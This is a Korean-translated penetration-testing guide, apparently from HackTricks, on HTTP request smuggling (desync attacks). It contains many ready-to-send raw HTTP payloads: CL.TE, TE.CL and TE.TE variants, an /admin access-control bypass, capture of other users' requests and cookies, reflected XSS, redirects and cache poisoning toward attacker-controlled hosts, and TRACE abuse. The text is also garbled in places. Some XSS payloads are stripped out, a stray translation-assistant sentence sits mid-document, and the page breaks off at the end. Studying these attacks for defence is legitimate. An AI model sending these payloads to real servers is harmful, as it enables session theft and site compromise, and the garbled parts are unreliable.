# HTTP Request Smuggling / HTTP Desync Attack {{#include ../../banners/hacktricks-training.md}} ## What is 이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**로 인해 **공격자**가 HTTP **요청**을 **전송**할 수 있게 되며, 이 요청은 **프론트엔드** 프록시(로드 밸런스/리버스 프록시)에서는 **단일 요청**으로 해석되고 **백엔드** 서버에서는 **2개의 요청**으로 해석됩니다.\ 이로 인해 사용자는 자신의 요청 이후에 백엔드 서버에 도착하는 **다음 요청을 수정**할 수 있습니다. ### Theory [**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616) > 메시지가 Transfer-Encoding 헤더 필드와 Content-Length 헤더 필드를 모두 포함하여 수신되면, 후자는 무시해야 합니다. **Content-Length** > Content-Length 엔터티 헤더는 수신자에게 전송된 엔터티 본문의 크기를 바이트 단위로 나타냅니다. **Transfer-Encoding: chunked** > Transfer-Encoding 헤더는 페이로드 본문을 사용자에게 안전하게 전송하는 데 사용되는 인코딩 형식을 지정합니다.\ > Chunked는 큰 데이터가 일련의 청크로 전송됨을 의미합니다. ### Reality **프론트엔드**(로드 밸런스/리버스 프록시)는 _**content-length**_ 또는 _**transfer-encoding**_ 헤더를 처리하고 **백엔드** 서버는 다른 하나를 처리하여 두 시스템 간의 **비동기화**를 유발합니다.\ 이는 **공격자가 리버스 프록시**에 **하나의 요청을 전송**할 수 있게 하여 **백엔드** 서버가 이를 **2개의 서로 다른 요청으로 해석**하게 할 수 있으므로 매우 치명적일 수 있습니다. 이 기술의 **위험**은 **백엔드** 서버가 **주입된 2번째 요청**을 **다음 클라이언트**에서 온 것처럼 해석하고, 그 클라이언트의 **실제 요청**이 **주입된 요청의 일부**가 된다는 사실에 있습니다. ### Particularities HTTP에서 **새 줄 문자는 2바이트로 구성됩니다:** - **Content-Length**: 이 헤더는 요청 본문의 **바이트 수**를 나타내기 위해 **10진수** 숫자를 사용합니다. 본문은 마지막 문자에서 끝나야 하며, **요청 끝에 새 줄이 필요하지 않습니다**. - **Transfer-Encoding:** 이 헤더는 **다음 청크**의 **바이트 수**를 나타내기 위해 본문에서 **16진수** 숫자를 사용합니다. **청크**는 **새 줄**로 **끝나야** 하지만 이 새 줄은 **길이 지표에 포함되지 않습니다**. 이 전송 방법은 **크기 0의 청크로 끝나고 2개의 새 줄이 뒤따라야** 합니다: `0` - **Connection**: 제 경험에 따르면 요청 스머글링의 첫 번째 요청에서 **`Connection: keep-alive`**를 사용하는 것이 좋습니다. ## Basic Examples > [!TIP] > Burp Suite로 이를 악용하려고 할 때 **`Update Content-Length` 및 `Normalize HTTP/1 line endings`**를 리피터에서 비활성화하세요. 일부 도구는 새 줄, 캐리지 리턴 및 잘못된 content-length를 남용합니다. HTTP 요청 스머글링 공격은 **Content-Length**(CL) 및 **Transfer-Encoding**(TE) 헤더를 해석하는 프론트엔드와 백엔드 서버 간의 불일치를 이용하여 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, 및 **TE.TE**의 형태로 나타납니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 방식의 고유한 조합을 나타냅니다. 취약점은 서버가 동일한 요청을 서로 다른 방식으로 처리하여 예상치 못한 결과를 초래할 때 발생합니다. ### Basic Examples of Vulnerability Types ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg) > [!NOTE] > 이전 표에 TE.0 기술을 추가해야 하며, CL.0 기술과 유사하지만 Transfer Encoding을 사용합니다. #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End) - **프론트엔드 (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다. - **백엔드 (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다. - **공격 시나리오:** - 공격자는 `Content-Length` 헤더의 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다. - 프론트엔드 서버는 `Content-Length` 값을 기반으로 전체 요청을 백엔드로 전달합니다. - 백엔드 서버는 `Transfer-Encoding: chunked` 헤더로 인해 요청을 청크로 처리하여 나머지 데이터를 별도의 후속 요청으로 해석합니다. - **예시:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 30 Connection: keep-alive Transfer-Encoding: chunked 0 GET /404 HTTP/1.1 Foo: x ``` #### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End) - **프론트엔드 (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다. - **백엔드 (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다. - **공격 시나리오:** - 공격자는 청크 크기(`7b`)와 실제 콘텐츠 길이(`Content-Length: 4`)가 일치하지 않는 청크 요청을 보냅니다. - 프론트엔드 서버는 `Transfer-Encoding`을 존중하여 전체 요청을 백엔드로 전달합니다. - 백엔드 서버는 `Content-Length`를 존중하여 요청의 초기 부분(`7b` 바이트)만 처리하고 나머지는 의도하지 않은 후속 요청의 일부로 남깁니다. - **예시:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 4 Connection: keep-alive Transfer-Encoding: chunked 7b GET /404 HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 30 x= 0 ``` #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation) - **서버:** 두 서버 모두 `Transfer-Encoding`을 지원하지만, 하나는 난독화를 통해 이를 무시하도록 속일 수 있습니다. - **공격 시나리오:** - 공격자는 난독화된 `Transfer-Encoding` 헤더가 포함된 요청을 보냅니다. - 어떤 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하는지에 따라 CL.TE 또는 TE.CL 취약점이 악용될 수 있습니다. - 요청의 처리되지 않은 부분은 서버 중 하나에서 후속 요청의 일부가 되어 스머글링으로 이어집니다. - **예시:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: xchunked Transfer-Encoding : chunked Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding: chunked Transfer-Encoding: x Transfer-Encoding:[tab]chunked [space]Transfer-Encoding: chunked X: X[\n]Transfer-Encoding: chunked Transfer-Encoding : chunked ``` #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)** - 두 서버 모두 `Content-Length` 헤더만을 기반으로 요청을 처리합니다. - 이 시나리오는 일반적으로 스머글링으로 이어지지 않으며, 두 서버가 요청 길이를 해석하는 방식이 일치합니다. - **예시:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 16 Connection: keep-alive Normal Request ``` #### **CL.0 Scenario** - `Content-Length` 헤더가 존재하고 값이 0이 아닌 경우를 나타내며, 요청 본문에 콘텐츠가 있음을 나타냅니다. 백엔드는 `Content-Length` 헤더를 무시하지만(0으로 처리됨), 프론트엔드는 이를 파싱합니다. - 이는 스머글링 공격을 이해하고 구성하는 데 중요하며, 서버가 요청의 끝을 결정하는 방식에 영향을 미칩니다. - **예시:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 16 Connection: keep-alive Non-Empty Body ``` #### TE.0 Scenario - 이전과 유사하지만 TE를 사용합니다. - 기술 [여기에서 보고됨](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) - **예시:** ``` OPTIONS / HTTP/1.1 Host: {HOST} Accept-Encoding: gzip, deflate, br Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Transfer-Encoding: chunked Connection: keep-alive 50 GET HTTP/1.1 x: X 0 EMPTY_LINE_HERE EMPTY_LINE_HERE ``` #### 웹 서버 파괴 이 기술은 **초기 HTTP 데이터를 읽는 동안 웹 서버를 파괴할 수 있는** 시나리오에서 유용하지만 **연결을 닫지 않고** 사용할 수 있습니다. 이렇게 하면 HTTP 요청의 **본문**이 **다음 HTTP 요청**으로 간주됩니다. 예를 들어, [**이 글**](https://mizu.re/post/twisty-python)에서 설명된 바와 같이, Werkzeug에서는 일부 **유니코드** 문자를 전송하여 서버를 **파괴**할 수 있었습니다. 그러나 HTTP 연결이 **`Connection: keep-alive`** 헤더로 생성된 경우 요청의 본문은 읽히지 않으며 연결은 여전히 열려 있으므로 요청의 **본문**은 **다음 HTTP 요청**으로 처리됩니다. #### 홉-바이-홉 헤더를 통한 강제화 홉-바이-홉 헤더를 악용하여 프록시에게 **Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시하여 HTTP 요청 스머글링을 악용할 수 있습니다**. ``` Connection: Content-Length ``` 더 많은 **hop-by-hop 헤더에 대한 정보**는 다음을 방문하세요: {{#ref}} ../abusing-hop-by-hop-headers.md {{#endref}} ## HTTP 요청 스머글링 찾기 HTTP 요청 스머글링 취약점을 식별하는 것은 종종 타이밍 기법을 사용하여 달성할 수 있으며, 이는 조작된 요청에 대한 서버의 응답 시간을 관찰하는 데 의존합니다. 이러한 기법은 CL.TE 및 TE.CL 취약점을 감지하는 데 특히 유용합니다. 이러한 방법 외에도 이러한 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구가 있습니다: ### 타이밍 기법을 사용한 CL.TE 취약점 찾기 - **방법:** - 애플리케이션이 취약한 경우, 추가 데이터를 기다리게 하는 요청을 전송합니다. - **예시:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Connection: keep-alive Content-Length: 4 1 A 0 ``` - **관찰:** - 프론트엔드 서버는 `Content-Length`에 따라 요청을 처리하고 메시지를 조기에 차단합니다. - 백엔드 서버는 청크 메시지를 기대하며 도착하지 않는 다음 청크를 기다려 지연이 발생합니다. - **지표:** - 응답의 타임아웃 또는 긴 지연. - 백엔드 서버로부터 400 Bad Request 오류를 수신하며, 때때로 자세한 서버 정보가 포함됩니다. ### 타이밍 기법을 사용한 TE.CL 취약점 찾기 - **방법:** - 애플리케이션이 취약한 경우, 추가 데이터를 기다리게 하는 요청을 전송합니다. - **예시:** ``` POST / HTTP/1.1 Host: vulnerable-website.com Transfer-Encoding: chunked Connection: keep-alive Content-Length: 6 0 X ``` - **관찰:** - 프론트엔드 서버는 `Transfer-Encoding`에 따라 요청을 처리하고 전체 메시지를 전달합니다. - 백엔드 서버는 `Content-Length`에 따라 메시지를 기대하며 도착하지 않는 추가 데이터를 기다려 지연이 발생합니다. ### 취약점을 찾기 위한 다른 방법 - **차별적 응답 분석:** - 요청의 약간 변형된 버전을 전송하고 서버 응답이 예상치 못한 방식으로 다르게 나타나는지 관찰하여 파싱 불일치를 나타냅니다. - **자동화 도구 사용:** - Burp Suite의 'HTTP Request Smuggler' 확장과 같은 도구는 다양한 형태의 모호한 요청을 전송하고 응답을 분석하여 이러한 취약점을 자동으로 테스트할 수 있습니다. - **Content-Length 변동 테스트:** - 실제 콘텐츠 길이와 일치하지 않는 다양한 `Content-Length` 값을 가진 요청을 전송하고 서버가 이러한 불일치를 처리하는 방식을 관찰합니다. - **Transfer-Encoding 변동 테스트:** - 난독화되거나 잘못된 `Transfer-Encoding` 헤더를 가진 요청을 전송하고 프론트엔드와 백엔드 서버가 이러한 조작에 어떻게 다르게 반응하는지 모니터링합니다. ### HTTP 요청 스머글링 취약점 테스트 타이밍 기법의 효과를 확인한 후, 클라이언트 요청을 조작할 수 있는지 확인하는 것이 중요합니다. 간단한 방법은 요청을 오염시키는 것을 시도하는 것입니다. 예를 들어, `/`에 대한 요청이 404 응답을 생성하도록 만드는 것입니다. 이전에 논의된 `CL.TE` 및 `TE.CL` 예시는 클라이언트의 요청을 오염시켜 404 응답을 유도하는 방법을 보여줍니다. 클라이언트는 다른 리소스에 접근하려고 합니다. **주요 고려사항** 다른 요청에 간섭하여 요청 스머글링 취약점을 테스트할 때 유의해야 할 사항: - **별도의 네트워크 연결:** "공격" 요청과 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청 모두 동일한 연결을 사용하는 것은 취약점의 존재를 검증하지 않습니다. - **일관된 URL 및 매개변수:** 두 요청 모두 동일한 URL 및 매개변수 이름을 사용하도록 합니다. 현대 애플리케이션은 종종 URL 및 매개변수에 따라 특정 백엔드 서버로 요청을 라우팅합니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 성공적인 공격을 위한 전제 조건입니다. - **타이밍 및 경합 조건:** "정상" 요청은 "공격" 요청의 간섭을 감지하기 위해 다른 동시 애플리케이션 요청과 경쟁합니다. 따라서 "공격" 요청 직후에 "정상" 요청을 전송합니다. 바쁜 애플리케이션은 결론적인 취약점 확인을 위해 여러 번의 시도가 필요할 수 있습니다. - **로드 밸런싱 문제:** 로드 밸런서 역할을 하는 프론트엔드 서버는 요청을 다양한 백엔드 시스템에 분배할 수 있습니다. "공격" 요청과 "정상" 요청이 서로 다른 시스템에 도달하면 공격이 성공하지 않습니다. 이 로드 밸런싱 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다. - **의도치 않은 사용자 영향:** 공격이 다른 사용자의 요청(감지용으로 보낸 "정상" 요청이 아님)에 의도치 않게 영향을 미친다면, 이는 공격이 다른 애플리케이션 사용자에게 영향을 미쳤음을 나타냅니다. 지속적인 테스트는 다른 사용자에게 방해가 될 수 있으므로 신중한 접근이 필요합니다. ## HTTP 요청 스머글링 악용 ### HTTP 요청 스머글링을 통한 프론트엔드 보안 우회 때때로 프론트엔드 프록시는 보안 조치를 시행하여 들어오는 요청을 면밀히 조사합니다. 그러나 이러한 조치는 HTTP 요청 스머글링을 악용하여 우회할 수 있으며, 이를 통해 제한된 엔드포인트에 무단으로 접근할 수 있습니다. 예를 들어, `/admin`에 접근하는 것이 외부에서 금지될 수 있으며, 프론트엔드 프록시는 이러한 시도를 적극적으로 차단합니다. 그럼에도 불구하고 이 프록시는 스머글링된 HTTP 요청 내에 포함된 요청을 검사하지 않을 수 있어 이러한 제한을 우회할 수 있는 허점을 남깁니다. 다음 예시는 HTTP 요청 스머글링이 프론트엔드 보안 제어를 우회하는 데 어떻게 사용될 수 있는지를 보여줍니다. 특히 일반적으로 프론트엔드 프록시가 보호하는 `/admin` 경로를 목표로 합니다: **CL.TE 예시** ``` POST / HTTP/1.1 Host: [redacted].web-security-academy.net Cookie: session=[redacted] Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 67 Transfer-Encoding: chunked 0 GET /admin HTTP/1.1 Host: localhost Content-Length: 10 x= ``` CL.TE 공격에서는 초기 요청에 `Content-Length` 헤더가 사용되고, 이후의 임베디드 요청은 `Transfer-Encoding: chunked` 헤더를 활용합니다. 프론트엔드 프록시는 초기 `POST` 요청을 처리하지만 임베디드 `GET /admin` 요청을 검사하지 않아 `/admin` 경로에 대한 무단 접근을 허용합니다. **TE.CL 예제** ``` POST / HTTP/1.1 Host: [redacted].web-security-academy.net Cookie: session=[redacted] Content-Type: application/x-www-form-urlencoded Connection: keep-alive Content-Length: 4 Transfer-Encoding: chunked 2b GET /admin HTTP/1.1 Host: localhost a=x 0 ``` 반대로, TE.CL 공격에서는 초기 `POST` 요청이 `Transfer-Encoding: chunked`를 사용하고, 이후에 포함된 요청은 `Content-Length` 헤더를 기반으로 처리됩니다. CL.TE 공격과 유사하게, 프론트엔드 프록시는 밀반입된 `GET /admin` 요청을 간과하여, 의도치 않게 제한된 `/admin` 경로에 대한 접근을 허용합니다. ### 프론트엔드 요청 재작성 공개 애플리케이션은 종종 **프론트엔드 서버**를 사용하여 들어오는 요청을 수정한 후 백엔드 서버로 전달합니다. 일반적인 수정 사항은 `X-Forwarded-For: `와 같은 헤더를 추가하여 클라이언트의 IP를 백엔드에 전달하는 것입니다. 이러한 수정 사항을 이해하는 것은 **보호 우회** 또는 **숨겨진 정보나 엔드포인트를 발견하는 방법**을 드러낼 수 있기 때문에 중요할 수 있습니다. 프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 에코하는 POST 매개변수를 찾습니다. 그런 다음, 이 매개변수를 마지막에 사용하여 다음과 유사한 요청을 작성합니다: ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 130 Connection: keep-alive Transfer-Encoding: chunked 0 POST /search HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 100 search= ``` 이 구조에서 후속 요청 구성 요소는 `search=` 뒤에 추가되며, 이는 응답에 반영되는 매개변수입니다. 이 반영은 후속 요청의 헤더를 노출시킵니다. 중요한 것은 중첩 요청의 `Content-Length` 헤더를 실제 콘텐츠 길이에 맞추는 것입니다. 작은 값으로 시작하여 점진적으로 증가시키는 것이 좋습니다. 너무 낮은 값은 반영된 데이터를 잘라내고, 너무 높은 값은 요청이 오류를 발생시킬 수 있습니다. 이 기술은 TE.CL 취약점의 맥락에서도 적용 가능하지만, 요청은 `search=\r\n0`으로 종료되어야 합니다. 줄 바꿈 문자와 관계없이 값은 검색 매개변수에 추가됩니다. 이 방법은 주로 프론트엔드 프록시가 수행한 요청 수정 사항을 이해하는 데 사용되며, 본질적으로 자가 조사 역할을 합니다. ### 다른 사용자의 요청 캡처하기 POST 작업 중 매개변수의 값으로 특정 요청을 추가하여 다음 사용자의 요청을 캡처하는 것이 가능합니다. 다음과 같이 이를 수행할 수 있습니다: 다음 요청을 매개변수의 값으로 추가하면 후속 클라이언트의 요청을 저장할 수 있습니다: ``` POST / HTTP/1.1 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net Content-Type: application/x-www-form-urlencoded Content-Length: 319 Connection: keep-alive Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi Transfer-Encoding: chunked 0 POST /post/comment HTTP/1.1 Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net Content-Length: 659 Content-Type: application/x-www-form-urlencoded Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40email.com&comment= ``` 이 시나리오에서 **comment parameter**는 공개적으로 접근 가능한 페이지의 게시물 댓글 섹션 내의 내용을 저장하기 위해 설계되었습니다. 따라서 이후 요청의 내용은 댓글로 나타납니다. 그러나 이 기술에는 한계가 있습니다. 일반적으로, 이는 밀반입된 요청에서 사용된 매개변수 구분자까지의 데이터만 캡처합니다. URL 인코딩된 양식 제출의 경우, 이 구분자는 `&` 문자입니다. 이는 피해 사용자 요청에서 캡처된 내용이 첫 번째 `&`에서 멈춘다는 것을 의미하며, 이는 쿼리 문자열의 일부일 수도 있습니다. 또한, 이 접근 방식은 TE.CL 취약점에서도 유효하다는 점에 유의할 가치가 있습니다. 이러한 경우, 요청은 `search=\r\n0`으로 끝나야 합니다. 줄 바꿈 문자와 관계없이 값은 검색 매개변수에 추가됩니다. ### HTTP 요청 밀반입을 사용하여 반사된 XSS를 악용하기 HTTP Request Smuggling은 **Reflected XSS**에 취약한 웹 페이지를 악용하는 데 활용될 수 있으며, 상당한 이점을 제공합니다: - 대상 사용자와의 상호작용이 **필요하지 않습니다**. - HTTP 요청 헤더와 같이 **일반적으로 접근할 수 없는** 요청의 일부에서 XSS를 악용할 수 있습니다. 웹사이트가 User-Agent 헤더를 통해 반사된 XSS에 취약한 경우, 다음 페이로드는 이 취약점을 악용하는 방법을 보여줍니다: ``` POST / HTTP/1.1 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0 Cookie: session=ac311fa41f0aa1e880b0594d008d009e Transfer-Encoding: chunked Connection: keep-alive Content-Length: 213 Content-Type: application/x-www-form-urlencoded 0 GET /post?postId=2 HTTP/1.1 Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net User-Agent: "> Content-Length: 10 Content-Type: application/x-www-form-urlencoded A= ``` 이 페이로드는 취약점을 악용하기 위해 다음과 같이 구조화되었습니다: 1. `Transfer-Encoding: chunked` 헤더를 사용하여 밀반입의 시작을 나타내는 일반적인 `POST` 요청을 시작합니다. 2. 이어서 `0`을 추가하여 청크된 메시지 본문의 끝을 표시합니다. 3. 그런 다음, `User-Agent` 헤더에 `` 스크립트를 주입한 밀반입된 `GET` 요청이 도입되어, 서버가 이 후속 요청을 처리할 때 XSS가 트리거됩니다. 밀반입을 통해 `User-Agent`를 조작함으로써, 페이로드는 정상 요청 제약을 우회하여 비표준이지만 효과적인 방식으로 반사된 XSS 취약점을 악용합니다. #### HTTP/0.9 > [!CAUTION] > 사용자 콘텐츠가 **`Content-type`**이 **`text/plain`**인 응답에 반영되는 경우, XSS 실행을 방지합니다. 서버가 **HTTP/0.9를 지원하는 경우 이를 우회할 수 있을지도 모릅니다**! HTTP/0.9 버전은 1.0 이전의 버전으로, **GET** 동사만 사용하며 **헤더** 없이 본체만 응답합니다. [**이 글**](https://mizu.re/post/twisty-python)에서는 요청 밀반입과 **사용자의 입력에 응답하는 취약한 엔드포인트**를 이용하여 HTTP/0.9로 요청을 밀반입했습니다. 응답에 반영될 매개변수는 **유효한 실행 가능한 JS 코드가 포함된 가짜 HTTP/1.1 응답(헤더와 본체 포함)**을 포함하므로, 응답은 `Content-Type`이 `text/html`인 유효한 실행 가능한 JS 코드를 포함하게 됩니다. ### HTTP 요청 밀반입을 통한 사이트 내 리디렉션 악용 응용 프로그램은 종종 리디렉션 URL의 `Host` 헤더에서 호스트 이름을 사용하여 한 URL에서 다른 URL로 리디렉션합니다. 이는 Apache 및 IIS와 같은 웹 서버에서 일반적입니다. 예를 들어, 후행 슬래시 없이 폴더를 요청하면 슬래시를 포함하도록 리디렉션됩니다: ``` GET /home HTTP/1.1 Host: normal-website.com ``` 결과: ``` HTTP/1.1 301 Moved Permanently Location: https://normal-website.com/home/ ``` 겉보기에는 무해해 보이지만, 이 행동은 HTTP request smuggling을 사용하여 사용자를 외부 사이트로 리디렉션하는 데 조작될 수 있습니다. 예를 들어: ``` POST / HTTP/1.1 Host: vulnerable-website.com Content-Length: 54 Connection: keep-alive Transfer-Encoding: chunked 0 GET /home HTTP/1.1 Host: attacker-website.com Foo: X ``` 이 스머글된 요청은 다음에 처리되는 사용자 요청이 공격자가 제어하는 웹사이트로 리디렉션될 수 있습니다: ``` GET /home HTTP/1.1 Host: attacker-website.com Foo: XGET /scripts/include.js HTTP/1.1 Host: vulnerable-website.com ``` 결과: ``` HTTP/1.1 301 Moved Permanently Location: https://attacker-website.com/home/ ``` 이 시나리오에서는 사용자의 JavaScript 파일 요청이 가로채집니다. 공격자는 응답으로 악성 JavaScript를 제공하여 사용자를 손상시킬 수 있습니다. ### HTTP 요청 스머글링을 통한 웹 캐시 오염 활용 웹 캐시 오염은 **프론트엔드 인프라의 콘텐츠를 캐시**하는 어떤 구성 요소가 있을 경우 실행될 수 있으며, 일반적으로 성능 향상을 위해 사용됩니다. 서버의 응답을 조작함으로써 **캐시를 오염**시킬 수 있습니다. 이전에 서버 응답을 변경하여 404 오류를 반환하는 방법을 관찰했습니다 (참조: [Basic Examples](#basic-examples)). 유사하게, 서버를 속여 `/static/include.js` 요청에 대한 응답으로 `/index.html` 콘텐츠를 제공하도록 할 수 있습니다. 결과적으로, `/static/include.js` 콘텐츠는 캐시에서 `/index.html`의 내용으로 대체되어 사용자가 `/static/include.js`에 접근할 수 없게 되며, 이는 서비스 거부(DoS)로 이어질 수 있습니다. 이 기술은 **오픈 리다이렉트 취약점**이 발견되거나 **오픈 리다이렉트로의 사이트 내 리다이렉트**가 있을 경우 특히 강력해집니다. 이러한 취약점을 이용하여 `/static/include.js`의 캐시된 콘텐츠를 공격자가 제어하는 스크립트로 교체할 수 있으며, 이는 업데이트된 `/static/include.js`를 요청하는 모든 클라이언트에 대한 광범위한 크로스 사이트 스크립팅(XSS) 공격을 가능하게 합니다. 아래는 **사이트 내 리다이렉트와 오픈 리다이렉트를 결합한 캐시 오염 활용**의 예시입니다. 목표는 공격자가 제어하는 JavaScript 코드를 제공하기 위해 `/static/include.js`의 캐시 콘텐츠를 변경하는 것입니다: ``` POST / HTTP/1.1 Host: vulnerable.net Content-Type: application/x-www-form-urlencoded Connection: keep-alive Content-Length: 124 Transfer-Encoding: chunked 0 GET /post/next?postId=3 HTTP/1.1 Host: attacker.net Content-Type: application/x-www-form-urlencoded Content-Length: 10 x=1 ``` 내장된 요청이 `/post/next?postId=3`를 타겟으로 하고 있음을 주목하세요. 이 요청은 **Host header value**를 사용하여 도메인을 결정하며 `/post?postId=4`로 리디렉션됩니다. **Host header**를 변경함으로써 공격자는 요청을 자신의 도메인으로 리디렉션할 수 있습니다 (**on-site redirect to open redirect**). 성공적인 **socket poisoning** 후, `/static/include.js`에 대한 **GET request**가 시작되어야 합니다. 이 요청은 이전의 **on-site redirect to open redirect** 요청에 의해 오염되어 공격자가 제어하는 스크립트의 내용을 가져옵니다. 그 후, `/static/include.js`에 대한 모든 요청은 공격자의 스크립트의 캐시된 내용을 제공하여 광범위한 XSS 공격을 효과적으로 시작합니다. ### HTTP 요청 스머글링을 사용하여 웹 캐시 기만 수행하기 > **웹 캐시 오염과 웹 캐시 기만의 차이점은 무엇인가요?** > > - **웹 캐시 오염**에서는 공격자가 애플리케이션이 악성 콘텐츠를 캐시에 저장하도록 유도하고, 이 콘텐츠가 다른 애플리케이션 사용자에게 캐시에서 제공됩니다. > - **웹 캐시 기만**에서는 공격자가 애플리케이션이 다른 사용자의 민감한 콘텐츠를 캐시에 저장하도록 유도하고, 공격자는 이후 이 콘텐츠를 캐시에서 검색합니다. 공격자는 민감한 사용자 특정 콘텐츠를 가져오는 스머글링 요청을 작성합니다. 다음 예를 고려해 보세요: ```markdown `POST / HTTP/1.1`\ `Host: vulnerable-website.com`\ `Connection: keep-alive`\ `Content-Length: 43`\ `Transfer-Encoding: chunked`\ `` \ `0`\ ``\ `GET /private/messages HTTP/1.1`\ `Foo: X` ``` 이 스머글링된 요청이 정적 콘텐츠(예: `/someimage.png`)를 위한 캐시 항목을 오염시키면, 피해자의 `/private/messages`의 민감한 데이터가 정적 콘텐츠의 캐시 항목 아래에 캐시될 수 있습니다. 결과적으로, 공격자는 이러한 캐시된 민감한 데이터를 검색할 수 있습니다. ### HTTP 요청 스머글링을 통한 TRACE 남용 [**이 게시물**](https://portswigger.net/research/trace-desync-attack)에서는 서버에 TRACE 메서드가 활성화되어 있다면 HTTP 요청 스머글링으로 이를 남용할 수 있을 가능성이 있다고 제안합니다. 이는 이 메서드가 서버로 전송된 모든 헤더를 응답 본문의 일부로 반영하기 때문입니다. 예를 들어: ``` TRACE / HTTP/1.1 Host: example.com XSS: ``` I'm ready to assist you with the translation. Please provide the text you would like me to translate. ``` HTTP/1.1 200 OK Content-Type: message/http Content-Length: 115 TRACE / HTTP/1.1 Host: vulnerable.com XSS: X-Forwarded-For: xxx.xxx.xxx.xxx ``` 이 동작을 악용하는 예는 **먼저 HEAD 요청을 밀어넣는 것**입니다. 이 요청은 GET 요청의 **헤더**만 응답받게 됩니다 (**`Content-Type`** 포함). 그리고 **HEAD 요청 직후에 TRACE 요청을 밀어넣는 것**으로, 이는 **전송된 데이터를 반영하게 됩니다**.\ HEAD 응답에는 `Content-Length` 헤더가 포함되므로, **TRACE 요청의 응답은 HEAD 응답의 본문으로 처리되어 임의의 데이터를 반영하게 됩니다**.\ 이 응답은 연결을 통해 다음 요청으로 전송되므로, 예를 들어 **임의의 JS 코드를 주입하기 위해 캐시된 JS 파일에서 사용될 수 있습니다**. ### HTTP 응답 분할을 통한 TRACE 악용 [**이 게시물**](https://portswigger.net/research/trace-desync-attack)을 계속 따라가는 것이 TRACE 메서드를 악용하는 또 다른 방법을 제안합니다. 언급된 바와 같이, HEAD 요청과 TRACE 요청을 밀어넣으면 HEAD 요청에 대한 응답에서 **일부 반영된 데이터를 제어할 수 있습니다**. HEAD 요청의 본문 길이는 기본적으로 Content-Length 헤더에 표시되며, TRACE 요청에 대한 응답으로 형성됩니다. 따라서 새로운 아이디어는 이 Content-Length와 TRACE 응답에서 제공된 데이터를 알고 있을 때, TRACE 응답이 Content-Length의 마지막 바이트 이후에 유효한 HTTP 응답을 포함하도록 만들어 공격자가 다음 응답에 대한 요청을 완전히 제어할 수 있게 하는 것입니다 (이는 캐시 오염을 수행하는 데 사용될 수 있습니다). 예: ``` GET / HTTP/1.1 Host: example.com Content-Length: 360 HEAD /smuggled HTTP/1.1 Host: example.com POST /reflect HTTP/1.1 Host: example.com SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n Content-Type: text/html\r\n Cache-Control: max-age=1000000\r\n Content-Length: 44\r\n \r\n ``` 이러한 응답을 생성합니다 (HEAD 응답에 Content-Length가 있어 TRACE 응답이 HEAD 본문의 일부가 되고, HEAD Content-Length가 끝나면 유효한 HTTP 응답이 밀반입됩니다): ``` HTTP/1.1 200 OK Content-Type: text/html Content-Length: 0 HTTP/1.1 200 OK Content-Type: text/html Content-Length: 165 HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 243 SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok Content-Type: text/html Cache-Control: max-age=1000000 Content-Length: 50 ``` ### 